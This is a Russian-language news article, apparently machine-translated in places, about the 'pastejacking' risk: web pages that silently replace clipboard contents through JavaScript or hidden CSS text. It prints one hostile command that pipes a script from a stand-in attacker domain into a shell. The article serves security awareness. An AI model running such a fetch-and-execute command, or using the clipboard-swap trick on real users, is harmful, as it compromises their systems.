Программистов, системных администраторов, исследователей безопасности и технических любителей, копирующих и вставляющих команды с веб-страниц в консоль или терминал, предупреждают, что они рискуют скомпрометировать свою систему.
Технолог демонстрирует простой трюк, который заставит вас дважды подумать, прежде чем копировать и вставлять текст с веб-страниц.
Бэкдор в буфере обмена?
Недавно Габриэль Фридлендер, основатель платформы обучения осведомленности о безопасности Wizer, продемонстрировал очевидный, но удивительный способ взлома, который заставит вас осторожно копировать и вставлять команды с веб-страниц.
Как новички, так и опытные разработчики нередко копируют часто используемые команды с веб-страницы (кхм, StackOverflow) и вставляют их в свои приложения, командную строку Windows или терминал Linux.
Но Фридлендер предупреждает, что веб-страница может скрытно заменять содержимое того, что находится в вашем буфере обмена, и то, что на самом деле будет скопировано в ваш буфер обмена, будет сильно отличаться от того, что вы намеревались скопировать.
Хуже того, без должной осмотрительности разработчик может осознать свою ошибку только после вставки текста, и тогда может быть уже слишком поздно.
В простом доказательстве концепции (PoC), опубликованном в его блоге, Фридлендер просит читателей скопировать простую команду, с которой было бы знакомо большинство системных администраторов и разработчиков.
Теперь вставьте то, что вы скопировали из блога Фридлендера, в текстовое поле или блокнот, и результат, вероятно, вас удивит:
curl http: // домен-атакующего: 8000 / shell.sh | ш
Мало того, что вы получаете совершенно другую команду в вашем буфере обмена, но, что еще хуже, у нее есть символ новой строки (или возврат) в конце.
Это означает, что приведенный выше пример будет выполнен, как только он будет вставлен непосредственно в терминал Linux.
У тех, кто вставлял текст, могло создаться впечатление, что они копируют знакомую безобидную команду sudo apt update, которая используется для получения обновленной информации о программном обеспечении, установленном в вашей системе.
Но это не совсем то, что произошло.
Что вызывает это?
Магия заключается в коде JavaScript, скрытом за настройкой страницы PoC HTML Фридлендером.
Как только вы копируете текст «sudo apt update», содержащийся в элементе HTML, запускается показанный ниже фрагмент кода.
Затем происходит то, что « прослушиватель событий» JavaScript фиксирует событие копирования и заменяет данные буфера обмена вредоносным тестовым кодом Фридлендера.
Обратите внимание, что у прослушивателей событий есть множество законных сценариев использования в JavaScript, но это только один пример того, как они могут быть использованы не по назначению.
«Вот почему вам НИКОГДА не следует копировать команды вставки прямо в свой терминал», — предупреждает Фридлендер.
«Вы думаете, что копируете что-то одно, но оно заменяется чем-то другим, например, вредоносным кодом. Все, что требуется, — это одна строка кода, вставленная в код, который вы скопировали, чтобы создать бэкдор в вашем приложении».
«Эта атака очень проста, но также очень вредна».
Пользователь Reddit также представил альтернативный пример этого трюка, который не требует JavaScript: невидимый текст, созданный с использованием стилей HTML и CSS, который копируется в буфер обмена при копировании видимых частей текста.
«Проблема не только в том, что веб-сайт может изменять содержимое буфера обмена с помощью JavaScript», — объясняет пользователь SwallowYourDreams.
«Он также может просто скрыть команды в HTML, которые невидимы для человеческого глаза, но будут скопированы компьютером».
Итак, еще одна причина никогда слепо не доверять тому, что вы копируете с веб-страницы — лучше сначала вставьте это в текстовый редактор.
Простой, но, тем не менее, важный урок повседневной безопасности.
Последнее обновление 05.01.2023